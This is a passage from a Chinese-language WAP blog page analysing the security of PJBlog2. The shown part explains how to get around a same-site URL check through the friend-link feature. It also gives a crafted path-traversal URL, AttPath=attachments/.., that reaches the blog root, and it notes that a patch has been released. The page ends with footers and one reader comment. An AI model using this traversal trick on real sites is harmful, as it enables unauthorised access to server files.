x6539;url&#xFF0C;&#x90A3;&#x5C31;&#x201C;&#x66F2;&#x7EBF;&#x6551;&#x56FD;&#x201D;&#x5427;&#x3002;&#x627E;&#x5230;&#x53CB;&#x60C5;&#x94FE;&#x63A5;&#x6DFB;&#x52A0;&#x529F;&#x80FD;&#xFF0C;url&#x5C31;&#x586B;&#x4E0A;&#x6211;&#x4EEC;&#x6784;&#x9020;&#x7684;url&#xFF0C;&#x4FDD;&#x5B58;&#xFF0C;&#x7136;&#x540E;&#x70B9;&#x67E5;&#x770B;&#xFF0C;&#x5C31;&#x7ED5;&#x8FC7;&#x7AD9;&#x5916;&#x7684;&#x9650;&#x5236;&#x4E86;&#x3002;&#x6CE8;&#x610F;&#x6784;&#x9020;&#x7684;AttPath&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x5B57;&#x7B26;&#x4E0D;&#x80FD;&#x662F;&#x201C;.&#x201D;&#x548C;&#x201C;/&#x201D;&#x54E6;&#xFF0C;&#x7A0B;&#x5E8F;&#x6709;&#x68C0;&#x67E5;&#x7684;&#x3002;&#x6211;&#x4EEC;&#x8FD9;&#x6837;&#x6784;&#x9020;&#x5C31;&#x53EF;&#x4EE5;&#x8DF3;&#x5230;blog&#x6839;&#x76EE;&#x5F55;&#xFF1A;http://localhost/blog/ConContent.asp?Fmenu=SQLFile&amp;Smenu=Attachments&amp;AttPath=attachments/..<br/>&#x5475;&#x5475;&#xFF0C;&#x6700;&#x540E;&#x8FD8;&#x662F;&#x5E0C;&#x671B;&#x5927;&#x5BB6;&#x652F;&#x6301;PJBlog2&#xFF0C;&#x771F;&#x7684;&#x662F;&#x5F88;&#x597D;&#x7528;&#x7684;&#x554A;&#x3002;&#x5E0C;&#x671B;&#x4F5C;&#x8005;&#x518D;&#x63A5;&#x518D;&#x5389;&#xFF0C;&#x628A;&#x8FD9;&#x5957;blog&#x7CFB;&#x7EDF;&#x505A;&#x5F97;&#x66F4;&#x597D;&#xFF0C;&#x9020;&#x798F;&#x4F17;&#x591A;&#x7F51;&#x6C11;J<br/>PS&#xFF1A;&#x4F5C;&#x8005;&#x771F;&#x662F;&#x52E4;&#x5FEB;&#x554A;&#xFF0C;&#x8865;&#x4E01;&#x5DF2;&#x7ECF;&#x51FA;&#x6765;&#x4E86;&#xFF0C;&#x5475;&#x5475;</p><p> + <a href="#CommentCard">&#x67E5;&#x770B;&#x5F53;&#x524D;&#x65E5;&#x5FD7;&#x8BC4;&#x8BBA;</a> (2)</p><p>&nbsp;<br/><br/><a href="wap.asp?do=Login">&#x767B;&#x5F55;</a></p><p><br/>&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;</p><p><a href="wap.asp">&#x6728;&#x5B50;&#x5C4B;</a></p><p><a href="http://www.pjhome.net/wap.asp">PJBlog3&nbsp;v3.2.9.518</a>&nbsp;Inside.</p><p>Processed&nbsp;In&nbsp;0.078&nbsp;ms</p><do type="prev" label="&#x8FD4;&#x56DE;"><prev/></do></card><card id="postCommentCard"><p><b>&#x6807;&#x9898;&#x3A;</b> <a href="#MainCard">&#x50;&#x4A;&#x42;&#x6C;&#x6F;&#x67;&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;</a></p><p><br/>你没有权限发表评论</p><p><br/>&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;</p><p><a href="wap.asp">&#x6728;&#x5B50;&#x5C4B;</a></p><p><a href="http://www.pjhome.net/wap.asp">PJBlog3&nbsp;v3.2.9.518</a>&nbsp;Inside.</p><p>Processed&nbsp;In&nbsp;0.078&nbsp;ms</p><do type="prev" label="&#x8FD4;&#x56DE;"><prev/></do></card><card id="CommentCard"><p><b>&#x6807;&#x9898;&#x3A;</b> <a href="#MainCard">&#x50;&#x4A;&#x42;&#x6C;&#x6F;&#x67;&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;</a></p><p><b>&#x8BC4;&#x8BBA;&#x5185;&#x5BB9;&#x3A;</b></p><p>== <b>&#x65;&#x64;&#x77;&#x69;&#x6E;&#x65;</b> <small>2007-03-21 09:59 AM</small> ----</p><p>&#x770B;&#x5230;&#x4E00;&#x5934;&#x96FE;&#x6C34;.... </p><p> </p><p><br/>&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;</p><p><a href="wap.asp">&#x6728;&#x5B50;&#x5C4B;</a></p><p><a href="http://www.pjhome.net/wap.asp">PJBlog3&nbsp;v3.2.9.518</a>&nbsp;Inside.</p><p>Processed&nbsp;In&nbsp;0.078&nbsp;ms</p><do type="prev" label="&#x8FD4;&#x56DE;"><prev/></do></card>
</wml>
